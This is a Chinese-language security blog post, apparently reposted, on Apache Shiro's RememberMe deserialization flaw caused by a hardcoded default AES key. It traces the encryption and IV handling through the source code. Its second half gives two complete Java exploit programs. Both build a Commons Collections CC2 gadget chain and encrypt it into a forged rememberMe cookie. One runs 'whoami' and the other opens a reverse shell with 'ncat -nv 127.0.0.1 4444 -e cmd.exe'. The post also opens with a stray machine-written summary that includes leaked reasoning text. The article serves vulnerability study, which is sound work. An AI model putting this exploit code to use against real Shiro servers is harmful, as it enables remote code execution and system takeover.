从“记住我”到“控制我”:Shiro默认密钥反序列化攻击详解
嗯,我需要总结一下关于Apache Shiro的文章内容,控制在100字以内。首先,文章主要讲的是Shiro的安全框架,特别是它的RememberMe功能中的反序列化漏洞。这个漏洞是因为Shiro在加密时使用了硬编码的密钥,导致攻击者可以构造恶意Cookie来触发反序列化攻击。 文章详细分析了Shiro的加密和解密过程,特别是如何将用户身份信息序列化、加密并存储到Cookie中。然后解释了攻击者如何利用默认密钥解密并反序列化这些数据,从而执行恶意代码。还提到了漏洞利用链,涉及Commons Collections等库的反序列化漏洞。 最后,文章讨论了Shiro升级后的修复措施,主要是通过自定义的反序列化方法来阻止危险类的加载。总结来说,文章全面介绍了Shiro RememberMe功能的漏洞原理、利用方法以及修复措施。 </think> Apache Shiro 是一个 Java 安全框架,提供身份验证、授权等功能。其 RememberMe 功能因使用硬编码 AES 密钥导致反序列化漏洞。攻击者可构造恶意 Cookie 触发命令执行。修复版本通过自定义反序列化方法阻止危险类加载。 2025-12-16 01:38:9 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

什么是shiro?

Apache Shiro 是一个强大且易用的 Java 安全框架,为应用程序提供身份验证、授权、加密和会话管理四大核心安全功能。该框架设计简洁,通过直观的 API 允许开发者轻松集成安全控制,而无需深入底层复杂的安全机制实现细节。

Shiro 的核心架构基于三大基本概念:

  • Subject:代表当前执行操作的用户或系统实体-通常具有身份标识(Principal)和凭证(Credentials)。例如,用户名和密码。
  • SecurityManager:作为 Shiro 的安全控制中心,协调所有安全操作,并管理所有Subject。每个应用程序通常只有一个SecurityManager实例。
  • Realm:作为连接安全数据源的桥梁,负责提供认证和授权所需的数据--将不同数据源(数据库、LDAP、文件等)统一为 Shiro 能理解的格式,实现认证和授权的数据查询逻辑

作为核心模块,它具有如下组件:rememberMeManager: 记住我管理器尤其是这个组件,是造成漏洞的关键组件。

// SecurityManager 的主要组件
securityManager = {
    authenticator:    // 认证器 - 处理登录验证
    authorizer:       // 授权器 - 处理权限检查
    sessionManager:   // 会话管理器 - 管理用户会话
    cacheManager:     // 缓存管理器 - 缓存安全数据
    realm:            // 领域对象 - 连接安全数据源
    rememberMeManager: // 记住我管理器
    subjectFactory:   // Subject 工厂
}

在实际应用中,Shiro 通过简洁的配置即可实现用户登录控制、权限验证、会话管理等常见安全需求,使其成为众多 Java Web 应用的首选安全框架。

Shiro 的会话管理机制

Shiro 提供了完整的会话管理实现,支持将会话数据持久化到各种存储介质。在 Web 场景下,Shiro 通常将会话标识(Session ID)存储在 Cookie 中,而完整的会话数据则可能被序列化后存储或传输。

完整的交互逻辑:存在rememberMeManager的情况下

用户请求 → Shiro 过滤器 → 获取 Subject → SecurityManager 协调 → Realm 查询数据
     ↑                                                                       ↓
     ← 登录状态 ← 认证结果 ← 验证凭证 ← 执行认证 ← 获取认证信息
          ↓                                           ↓
          ← RememberMe 自动登录 ← 解密Cookie ← 验证RememberMe
          ↓
     权限检查 → 执行授权 ← 获取授权信息 ← 查询权限数据

使用rememberme认证流程

用户首次登录并选择"记住我"

1. 用户提交登录表单,勾选"记住我"

2. 创建 UsernamePasswordToken,设置 rememberMe=true

3. Subject.login(token) 执行认证

4. 认证成功后,RememberMeManager 序列化用户身份信息

5. 使用 AES 加密序列化数据

6. 生成 rememberMe Cookie 发送给客户端

后续访问的自动登录流程

1. 用户发起新请求(无有效会话)

2. Shiro 过滤器拦截请求

3. 获取当前 Subject(此时未认证)

4. 检查请求中是否包含 rememberMe Cookie

├── 有 Cookie: 进入 RememberMe 流程

└── 无 Cookie: 重定向到登录页

5. RememberMeManager 提取并解密 Cookie

6. 反序列化获取用户身份信息

7. 重建 Subject 并标记为 remembered

8. 完成自动登录,建立会话

完整认证状态流转

初始状态 → 常规登录 → 已认证状态
     ↓          ↑
     ↓     ← 会话过期/关闭
     ↓
RememberMe登录 → 已记住状态
     ↓
重新认证 → 已认证状态
     ↓
登出 → 初始状态

漏洞核心:硬编码加密密钥

Shiro 1.2.5 以下版本中存在一个致命缺陷——框架默认使用了一个公开的 AES 加密密钥。具体而言,在AbstractRememberMeManager类中,加密密钥被硬编码为:

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

此密钥用于对 "Remember Me" 功能的 Cookie 值进行 AES 加密。攻击者一旦获知此密钥,便可对任意恶意序列化数据进行加密,构造出合法的 Shiro Cookie。

漏洞利用流程

攻击者 → 构造恶意序列化数据 → AES加密 → 伪造Cookie → 发送请求
    ↓
Shiro 接收 → 提取Cookie → 解密数据 → 反序列化 → 执行恶意代码
    ↓
漏洞触发 ← 命令执行 ← 反射调用 ← 调用链触发

源码分析

既然我们知道产生漏洞的主要原因就是RememberMe这里导致的,所以我们直接到源码中去看看这里是如何实现的,又是如何导致了漏洞的产生。

环境准备:shiro版本1.2.3:pom.xml导入

<dependency>
  <groupId>org.apache.shiro</groupId>
  <artifactId>shiro-core</artifactId>
  <version>1.2.3</version>
</dependency>
<dependency>
  <groupId>org.apache.shiro</groupId>
  <artifactId>shiro-web</artifactId>
  <version>1.2.3</version>
</dependency>

在我们渗透测试过程中,可能我们经常看到这样的页面:有个记住我的功能

1765779516_693fa83c39cc162f15074.png!small

然后抓包中,可能经常看到这样的数据,rememberMe=一长串看不懂的内容。并且,服务端返回也有一个这个参数。

1765779614_693fa89e8ccaeca6cdbc8.png!small?1765779618439

既然跟cookie和RememberMe直接相关,直接查找RememberMe的源码:可以看到与它相关的有2个类以及一个接口:他们均实现该接口,并且CookieRememberMeManager extends AbstractRememberMeManager 类之间也是继承关系。

1765779494_693fa8269a822251419af.png!small?1765779498236

RememberMe的加密登录过程

首先从登录这一步开始如下:获取rememberMeManager,肯定是不会为null的,所以会直接调用下面的方法:

1765779754_693fa92a2300562de182e.png!small?1765779758298

直接就进入到了AbstractRememberMeManager类的方法onSuccessfulLogin这里:

1765779771_693fa93b48c140133140a.png!small?1765779775519

进行判断之后,这里正常逻辑,不会有问题,直接会进入下面的方法rememberIdentity:

1765779783_693fa9476d73acd53bffa.png!small?1765779787439

这里的第一行代码: byte[] bytes = convertPrincipalsToBytes(accountPrincipals);得到了一个字节数组。看名字就像是用来序列化的地方,因为返回了字节数组:看看它的具体实现:

1765779858_693fa992184e04b38825c.png!small?1765779861842

该方法又调用了一个序列化方法,从而得到一个对象的字节数组:就是正常的序列化对象,返回一个字节数组。

1765779892_693fa9b4e81c717ff03d2.png!small?1765779897016

然后将得到的数组进行加密:调用encrypt方法:

1765779911_693fa9c708162b554fc68.png!small?1765779914771

看看加密这些参数是些什么:第一个参数就是刚才的字节数组,第二个加密参数如下:

重点就是这个加密的地方:

1765779932_693fa9dc3d0b6c7e8e1b7.png!small?1765779935954

可以看到它使用的是aes加密如下图:

1765779946_693fa9eaa80ca376f9820.png!small?1765779950511

并且如果没有设置encryptionCipherKey这个值,默认是这样的一个字符串“kPH+bIxk5D2deZiIxcaaaA==”

1765779964_693fa9fc15badeb6020e0.png!small?1765779968394

1765779972_693faa041812262aa3461.png!small?1765779975815

这里就是常说的硬编码,漏洞的产生原因,如果未设置,所有服务器均使用该字符串作为默认

1765779982_693faa0e451f94a948c83.png!small?1765779986146

所以只要知道这个字符串,就可以自己加密解密了。这样通过encrypt的加密,就得到了一个加密之后的字节数组。然后回到调用最开始的地方。使用这个字节数组再调用rememberSerializedIdentity这个方法:

1765780089_693faa79828402b17aa76.png!small?1765780095029

就会进入到这里:将该字节数组进行base64编码:然后保存到cookie中:

1765780102_693faa8613e2847e91602.png!small?1765780105820

而再该类的构造函数中是这样给cookie的属性进行了赋值如下:

1765780118_693faa9668c4f76750756.png!small?1765780122544

将rememberme赋值给cookie的name,就变成了我们抓包过程中的那样rememberme=*******

1765780133_693faaa53f412e767a182.png!small?1765780136930

这样每次访问就得到了一个rememberme的cookie,并且是base64编码格式的。

然而我们每次抓包看到的数据是base64编码的数据,但是解码之后也是一堆乱码,在上面的源码分析中我们知道它还使用了aes加密,并且key是使用的默认key。

加密登录小结:

RememberMe加密过程始于用户登录过程点击了记住我的这个功能,Shiro框架的AbstractRememberMeManager会调用rememberIdentity方法。首先,用户身份信息被序列化为字节数组,然后使用AES加密,默认密钥为"kPH+bIxk5D2deZiIxcaaaA=="。加密后的字节数组经过Base64编码,存储到名为"rememberme"的Cookie中。因此,抓包中看到的Cookie值是Base64字符串,直接解码会因AES加密而显示乱码,只有使用相同密钥解密才能还原原始数据。

关键点:序列化 → AES加密(使用默认密钥) → Base64编码 → 存储为Cookie

RememberMe的解密登录过程

既然上面是序列化对象,在加密,再编码,那么肯定就有对数据进行先解码,再解密,然后反序列化的过程:

首先就是与上面序列化对应的方法getRememberedSerializedIdentity代码如下:

1765780363_693fab8b8660991d4d609.png!small?1765780367205

1765780369_693fab91e51cb58685556.png!small?1765780373615

从request对象中获取cookie的rememberme的base64编码字符串,然后Base64.decode(base64)将其解码成对象的字节数组。返回调用该方法的地方,接着调用convertBytesToPrincipals方法,准备还原成对象。

1765780383_693fab9f086a67c552364.png!small?1765780387028

该方法代码如下:解密该字节数组,然后将该字节数组进行反序列化,并将结果返回:

1765780411_693fabbbf06f0a7c8a989.png!small?1765780416141

解密的方法几乎与加密差不多:就是它的逆向操作:使用默认key进行aes解密,如下:

1765780424_693fabc85a4715fea9ac2.png!small?1765780428221

接着就是对该字节数组的反序列化的操作!

我们来看它的反序列化方法干了什么:首先这里与传统的反序列化稍微有点区别,它使用了new ClassResolvingObjectInputStream(bis),然后还是使用父类的反序列化方法。

1765780591_693fac6ff295aff1e875c.png!small?1765780595655

1765780499_693fac13b91e0ed034e3c.png!small?1765780503324

我们知道如果一个对象重写了readObject(),那么再反序列化的时候,就会调用该对象的重写方法。所以这里就是漏洞产生的原因,如果传入的字节流对象是一个重写了readObject()方法的对象,并且该方法可被利用,那么就可以造成命令执行,常见的如CC链中的反序列化漏洞。所以shiro框架虽然它存在漏洞,但是它也同时依赖执行漏洞的库,属于条件性远程代码执行。Shiro反序列化漏洞本身不直接包含恶意代码执行逻辑。它只是一个 "反序列化入口点" ,真正的漏洞利用依赖于目标应用中存在的可利用的反序列化链(gadget chains)。

对比上面的反序列化代码,与我们自己经常写的一些的最后两行几乎一模一样(***.readObject())。比如我们的CC1的poc中经常会这样写:最后一行的测试代码ois.readObject();触发漏洞:所以这也是为什么它是一个条件性的漏洞。

poc实现过程

通过上面的分析我们知道,只需要一个存在漏洞利用链的对象即可。因为将其加密,base64编码是相对容易的事情了。

因为这是一个条件性远程代码执行,所以需要服务器本身就存在反序列化利用链的库,这里使用cc2模拟触发漏洞的整个过程:

其实就很简单了只需要让这个ois对象是我们的恶意对象即可:

那么只需要将CC2利用链的对象转换成对应的字节数组格式即可。而这个字节数组就是rememberme这个cookie的base64字符串,经过解码,解密得到的。接下来就是写个程序将这个恶意对象加密,base64编码即可。

shiro加解详解

在实现POC之前,我们需要解决如何加密我们的对象。我们看服务端具体如何加密的:

1765781349_693faf65cd28d47386ca3.png!small?1765781354040

服务端的加密过程,通过这行代码ivBytes = generateInitializationVector(false);得到了一个随机的ivBytes,也就是真正加密的iv的值:进行加密。

1765781383_693faf87937970dbf774a.png!small?1765781387227

最终得到一个使用随机IV,默认key加密的字符串(算上base64的整个过程)。

看看这三行关键代码:1765781654_693fb096efb94190c2f92.png!small?1765781658751

第一个关键代码,将原始的字节数组,使用iv,key进行了加密,得到一个加密之后的字节数组,然后定义了一个长度是iv的长度加上加密字节数组的长度之和的数组。最后2个关键代码:将IV 放在output的前16位,加密后的字节放在剩下的位置上,最终得到加密的数据。相当于加密数据output=IV + 加密数据。最后拿着这个整体的加密数据进行了一次base64编码。这个过程上面有分析。那只要得到加密base64编码的数据,就得到了IV,小伙伴们是不是一下就明白了,其实看似随机iv,其实对我们来说是透明的。

解密详解

首先解密方法满足第一个条件:

1765787291_693fc69b3bb4ca1aeebc8.png!small?1765787295044

1765787298_693fc6a20b96f670d7c7d.png!small?1765787301775

默认为真,所以会直接进入下面的流程:

1765787311_693fc6af195a8bd2d69a1.png!small?1765787314874

如图所示,它直接定义了一个16位的全0数组,作为iv。然后就直接将待解密的字节数组的前16位字节,复制给了它。然后对剩下的字节数组进行解密操作,完全是上面加密的逆向操作,上面我们知道,前16位就是真正的IV的值,这大概就是它神奇的地方,可能为了让服务器解密成功设计成这样的,加密是一个随机的iv,但是放在密文中,解密直接得到IV,然后key也是默认的,也就是任意IV,使用默认密钥加密之后,服务端解密都能成功解开。

shiro加解密流程

加密:cookie-->序列化-->byte[]{cookie} -->AES加密:默认key,随机IV加密,拼接16位的IV到字节数组-->byte[]{IV+cookie}-->Base64编码-->Base64(byte[]{IV+cookie})

解密:Base64(byte[]{IV+cookie})-->Base64解码-->byte[]{IV+cookie}-->AES解密:默认key,取出前16位的IV,对剩下字节执行解密-->byte[]{cookie}-->反序列化-->cookie

那自己实现POC是不是就简单的多了,什么都是透明的。

poc实现

package shiro.com;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.io.DefaultSerializer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Arrays;
import java.util.PriorityQueue;

public class CC2 {
    public static void main(String[] args) throws Exception {
        /* ==================== 第一部分:使用Javassist动态生成恶意类 ==================== */
ClassPool classPool = ClassPool.getDefault();
        // 获取AbstractTranslet类,这是XSLT转换的基类,TemplatesImpl会加载继承它的类
CtClass abstractTransLetClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        // 创建一个名为CC2Test的新类,并继承AbstractTranslet
CtClass CC2TestClass = classPool.makeClass("CC2Test",abstractTransLetClass);
        // 获取类的默认构造函数(类初始化器)
CtConstructor ctConstructor = CC2TestClass.makeClassInitializer();
        // 在类的静态初始化块(<clinit>)中插入恶意代码。该块在类被加载时自动执行。
ctConstructor.setBody("        try {\n" +
                "            Process process = Runtime.getRuntime().exec(\"whoami\");\n" +
                "            java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));\n" +
                "            String line;\n" +
                "            while ((line = reader.readLine()) != null) {\n" +
                "                System.out.println(line);\n" +
                "            }\n" +
                "            reader.close();\n" +
                "        } catch (Exception e) {\n" +
                "            e.printStackTrace();\n" +
                "        }");
        // 将生成的类转换为字节数组,这是最终要注入的恶意字节码
byte[] bytecode = CC2TestClass.toBytecode();

        /* ==================== 第二部分:构造TemplatesImpl对象承载恶意字节码 ==================== */
TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();

        // 设置_name字段,TemplatesImpl要求此字段不能为空
Field _nameField = templatesClass.getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templates, "aaa");

        // 设置_tfactory字段,为TransformerFactoryImpl实例,字节码加载和转换所需
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
        _tfactoryField.setAccessible(true);
        _tfactoryField.set(templates, new TransformerFactoryImpl());

        // 设置_bytecodes字段,将恶意类的字节码以二维数组形式注入,这是攻击的核心
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        _bytecodesField.setAccessible(true);
        _bytecodesField.set(templates, new byte[][]{bytecode});

        /* ==================== 第三部分:构建CC2利用链的核心转换器 ==================== */
        // 创建一个InvokerTransformer,它通过反射调用指定对象的指定方法。
// 这里配置为调用"newTransformer"方法,这是触发TemplatesImpl加载恶意类的关键。
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);

        // 创建TransformingComparator,它是一个比较器,但会将比较的对象先用transformer转换。
// 这里设置其内部的transformer为我们上面定义的invokerTransformer。
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);

        /* ==================== 第四部分:构建反序列化触发入口PriorityQueue ==================== */
        // 创建一个使用自定义比较器(TransformingComparator)的优先队列。
// 当队列需要比较元素(如排序、添加元素)时,就会触发我们的转换链。
PriorityQueue priorityQueue = new PriorityQueue<>(2, transformingComparator);

// 【关键】通过反射强制将PriorityQueue的size字段设置为2。
// 这是因为在序列化时,PriorityQueue会写入size和queue数组。
// 如果只调用add()但后续没有触发序列化,size可能已正确为2。此操作用于确保序列化流中的size值正确,
// 使得反序列化时,队列知道有两个元素需要从流中读取并触发比较。
Class<? extends PriorityQueue> priorityQueueClass = priorityQueue.getClass();
        Field sizeField = priorityQueueClass.getDeclaredField("size");
        sizeField.setAccessible(true);
        sizeField.setInt(priorityQueue, 2);
// 通过反射获取PriorityQueue内部的queue数组字段
// 这个数组存储了队列中的实际元素
        Field queueField = priorityQueueClass.getDeclaredField("queue");
        queueField.setAccessible(true);  // 设置可访问,因为queue是私有字段
// 获取队列数组并设置元素
// templates是我们构造的包含恶意字节码的TemplatesImpl对象
// 第二个元素"b"只是一个占位符,用于确保队列中有足够的元素触发比较
        Object[] queue = (Object[]) queueField.get(priorityQueue);
        queue[0] = templates;  // 将恶意templates对象放入队列第一个位置
        queue[1] = "aa";  // 将恶意templates对象放入队列第一个位置

        /* ==================== 第五部分:Shiro加密与RememberMe Cookie生成 ==================== */
CipherService cipherService = new AesCipherService();
        // Shiro默认的AES加密密钥(Base64编码),常用于RememberMe功能
byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

        // Shiro的默认序列化器,内部使用ClassResolvingObjectInputStream,使用shiro的加密方法
DefaultSerializer<Object> defaultSerializer = new DefaultSerializer<>();

        // 1. 序列化:将构造的PriorityQueue对象序列化成字节数组
byte[] serializeBytes = defaultSerializer.serialize(priorityQueue);
        // 2. 加密:使用AES-CBC模式加密序列化数据。Shiro会自动生成IV并拼接到密文前。
byte[] encryptBytes = cipherService.encrypt(serializeBytes, DEFAULT_CIPHER_KEY_BYTES).getBytes();
        // 3. 编码:将加密后的字节数组进行Base64编码,形成最终的RememberMe Cookie值
String rememberMe = Base64.encodeToString(encryptBytes);

        /* ==================== 第六部分:模拟Shiro服务端解密与反序列化流程 ==================== */
        // 1. 确保Base64字符串填充正确,然后解码
String s = ensurePadding(rememberMe);
        byte[] base64Bytes = Base64.decode(s);
        // 2. 使用相同密钥解密,得到序列化字节数组
byte[] decryptBytes = cipherService.decrypt(base64Bytes, DEFAULT_CIPHER_KEY_BYTES).getBytes();

        // 对比原始序列化数据与解密后数据,验证加解密过程是否正确(用于调试)
System.out.println(Arrays.toString(serializeBytes) + "\n" + Arrays.toString(decryptBytes));

        javaDeserialize(decryptBytes);//执行反序列化

    }
//反序列化方法
    public static void javaDeserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        // 同时使用Java原生反序列化进行对比测试,通常原生方式能成功触发漏洞。
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }

    /**
     * 确保Base64字符串长度是4的倍数,不足则补'='。
* 这是Shiro内部Base64解码器的原始代码。
*
     * @param base64 原始Base64字符串
* @return 正确填充后的Base64字符串
*/
public static String ensurePadding(String base64) {
        int length = base64.length();
        if (length % 4 != 0) {
            StringBuilder sb = new StringBuilder(base64);
            for (int i = 0; i < length % 4; ++i) {
                sb.append('=');
            }
            base64 = sb.toString();
        }
        return base64;
    }
}

完成之后,再来执行一下:成功触发利用链,执行命令!并且加解密之后得到了同样的字节数组,加密解密没有问题。

1765787880_693fc8e844cbe7cbf421e.png!small?1765787885960

改为反弹shell Exp:

package shiro.com;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.io.DefaultSerializer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Arrays;
import java.util.PriorityQueue;

public class CC2 {
    public static void main(String[] args) throws Exception {
        /* ==================== 第一部分:使用Javassist动态生成恶意类 ==================== */
ClassPool classPool = ClassPool.getDefault();
        // 获取AbstractTranslet类,这是XSLT转换的基类,TemplatesImpl会加载继承它的类
CtClass abstractTransLetClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        // 创建一个名为CC2Test的新类,并继承AbstractTranslet
CtClass CC2TestClass = classPool.makeClass("CC2Test",abstractTransLetClass);
        // 获取类的默认构造函数(类初始化器)
CtConstructor ctConstructor = CC2TestClass.makeClassInitializer();
        // 在类的静态初始化块(<clinit>)中插入恶意代码。该块在类被加载时自动执行。
ctConstructor.setBody("        try {\n" +
                "            Process process = Runtime.getRuntime().exec(\"ncat -nv 127.0.0.1 4444 -e cmd.exe\");\n" +
                "            java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));\n" +
                "            String line;\n" +
                "            while ((line = reader.readLine()) != null) {\n" +
                "                System.out.println(line);\n" +
                "            }\n" +
                "            reader.close();\n" +
                "        } catch (Exception e) {\n" +
                "            e.printStackTrace();\n" +
                "        }");
        // 将生成的类转换为字节数组,这是最终要注入的恶意字节码
byte[] bytecode = CC2TestClass.toBytecode();

        /* ==================== 第二部分:构造TemplatesImpl对象承载恶意字节码 ==================== */
TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();

        // 设置_name字段,TemplatesImpl要求此字段不能为空
Field _nameField = templatesClass.getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templates, "aaa");

        // 设置_tfactory字段,为TransformerFactoryImpl实例,字节码加载和转换所需
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
        _tfactoryField.setAccessible(true);
        _tfactoryField.set(templates, new TransformerFactoryImpl());

        // 设置_bytecodes字段,将恶意类的字节码以二维数组形式注入,这是攻击的核心
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        _bytecodesField.setAccessible(true);
        _bytecodesField.set(templates, new byte[][]{bytecode});

        /* ==================== 第三部分:构建CC2利用链的核心转换器 ==================== */
        // 创建一个InvokerTransformer,它通过反射调用指定对象的指定方法。
// 这里配置为调用"newTransformer"方法,这是触发TemplatesImpl加载恶意类的关键。
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);

        // 创建TransformingComparator,它是一个比较器,但会将比较的对象先用transformer转换。
// 这里设置其内部的transformer为我们上面定义的invokerTransformer。
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);

        /* ==================== 第四部分:构建反序列化触发入口PriorityQueue ==================== */
        // 创建一个使用自定义比较器(TransformingComparator)的优先队列。
// 当队列需要比较元素(如排序、添加元素)时,就会触发我们的转换链。
PriorityQueue priorityQueue = new PriorityQueue<>(2, transformingComparator);

        // 向队列添加两个元素。注意:这两个元素就是我们的恶意templates对象。
// 在反序列化后,PriorityQueue为了重建堆结构,会调用comparator.compare()来比较元素。
// 此时,TransformingComparator会将传入的templates对象用invokerTransformer转换,
// 即调用 templates.newTransformer(),从而触发恶意类加载并执行静态块中的命令。
priorityQueue.add(templates); // 第一个元素
priorityQueue.add(templates); // 第二个元素(添加两次是为了确保反序列化时会进行比较)

// 【关键】通过反射强制将PriorityQueue的size字段设置为2。
// 这是因为在序列化时,PriorityQueue会写入size和queue数组。
// 如果只调用add()但后续没有触发序列化,size可能已正确为2。此操作用于确保序列化流中的size值正确,
// 使得反序列化时,队列知道有两个元素需要从流中读取并触发比较。
Class<? extends PriorityQueue> priorityQueueClass = priorityQueue.getClass();
        Field sizeField = priorityQueueClass.getDeclaredField("size");
        sizeField.setAccessible(true);
        sizeField.setInt(priorityQueue, 2);
// 通过反射获取PriorityQueue内部的queue数组字段
// 这个数组存储了队列中的实际元素
        Field queueField = priorityQueueClass.getDeclaredField("queue");
        queueField.setAccessible(true);  // 设置可访问,因为queue是私有字段
// 获取队列数组并设置元素
// templates是我们构造的包含恶意字节码的TemplatesImpl对象
// 第二个元素"b"只是一个占位符,用于确保队列中有足够的元素触发比较
        Object[] queue = (Object[]) queueField.get(priorityQueue);
        queue[0] = templates;  // 将恶意templates对象放入队列第一个位置
        queue[1] = "aa";  // 将恶意templates对象放入队列第一个位置

        /* ==================== 第五部分:Shiro加密与RememberMe Cookie生成 ==================== */
CipherService cipherService = new AesCipherService();
        // Shiro默认的AES加密密钥(Base64编码),常用于RememberMe功能
byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

        // Shiro的默认序列化器,内部使用ClassResolvingObjectInputStream,使用shiro的加密方法
DefaultSerializer<Object> defaultSerializer = new DefaultSerializer<>();

        // 1. 序列化:将构造的PriorityQueue对象序列化成字节数组
byte[] serializeBytes = defaultSerializer.serialize(priorityQueue);
        // 2. 加密:使用AES-CBC模式加密序列化数据。Shiro会自动生成IV并拼接到密文前。
byte[] encryptBytes = cipherService.encrypt(serializeBytes, DEFAULT_CIPHER_KEY_BYTES).getBytes();
        // 3. 编码:将加密后的字节数组进行Base64编码,形成最终的RememberMe Cookie值
String rememberMe = Base64.encodeToString(encryptBytes);

        /* ==================== 第六部分:模拟Shiro服务端解密与反序列化流程 ==================== */
        // 1. 确保Base64字符串填充正确,然后解码
String s = ensurePadding(rememberMe);
        byte[] base64Bytes = Base64.decode(s);
        // 2. 使用相同密钥解密,得到序列化字节数组
byte[] decryptBytes = cipherService.decrypt(base64Bytes, DEFAULT_CIPHER_KEY_BYTES).getBytes();

        // 对比原始序列化数据与解密后数据,验证加解密过程是否正确(用于调试)
System.out.println(Arrays.toString(serializeBytes) + "\n" + Arrays.toString(decryptBytes));

        // 反序列化。
        javaDeserialize(decryptBytes);

    }

    public static void javaDeserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        // 用Java原生反序列化进行测试。
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }

    /**
     * 确保Base64字符串长度是4的倍数,不足则补'='。
* 这是Shiro内部Base64解码器的原始代码。
*
     * @param base64 原始Base64字符串
* @return 正确填充后的Base64字符串
*/
public static String ensurePadding(String base64) {
        int length = base64.length();
        if (length % 4 != 0) {
            StringBuilder sb = new StringBuilder(base64);
            for (int i = 0; i < length % 4; ++i) {
                sb.append('=');
            }
            base64 = sb.toString();
        }
        return base64;
    }
}

执行:反弹shell成功.

1765788209_693fca31a10cc14bc3694.png!small?1765788213347

漏洞产生原因总结

漏洞产生存在多方面的因素:1.首先是加密使用了默认的key。2.加密结束生成的密文将IV放在前16位字节-正是有了这个步骤,才有了后面同样的解密步骤。3.解密过程将前16位得到的字节作为IV,造成了任意IV加密的数据均可被服务端识别,并解密。

可利用的条件:4.存在有漏洞的其他框架。5.使用了原生的java反序列化方法

总结

shiro反序列化属于条件性触发漏洞,利用是组合攻击:攻击者组合多个组件漏洞形成完整利用链,如下:

第1层:Shiro RememberMe Cookie 处理
    ↓
第2层:AES 解密(使用硬编码密钥)
    ↓
第3层:Java 反序列化入口
    ↓
第4层:寻找合适的 gadget chain
    ├── Commons Collections 链
    ├── Commons BeanUtils 链
    ├── Groovy 链
    └── 其他第三方库链
        ↓
第5层:执行恶意代码
    ├── Runtime.exec() - 执行系统命令
    ├── URLClassLoader - 加载远程代码
    ├── JNDI 注入 - 触发远程类加载
    └── 反射调用 - 执行任意方法

shiro升级后是如何阻止反序列化漏洞的

升级之后的版本它不再使用原生 ObjectInputStream,而是使用了自定义的 ClassResolvingObjectInputStream,并重写了关键的 resolveClass 方法。

protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
    String className = osc.getName();
    // 关键防御:禁止反序列化数组和危险类
    if (className.startsWith("[") || className.contains("javax.management.") || ... ) {
        throw new InvalidClassException("Unauthorized deserialization attempt", className);
    }
    return super.resolveClass(osc);
}

在修复后的版本中,攻击Payload(即使是正确加密的)在反序列化这个步骤也会被拦截。


文章来源: https://www.freebuf.com/articles/vuls/462162.html
如有侵权请联系:admin#unsafe.sh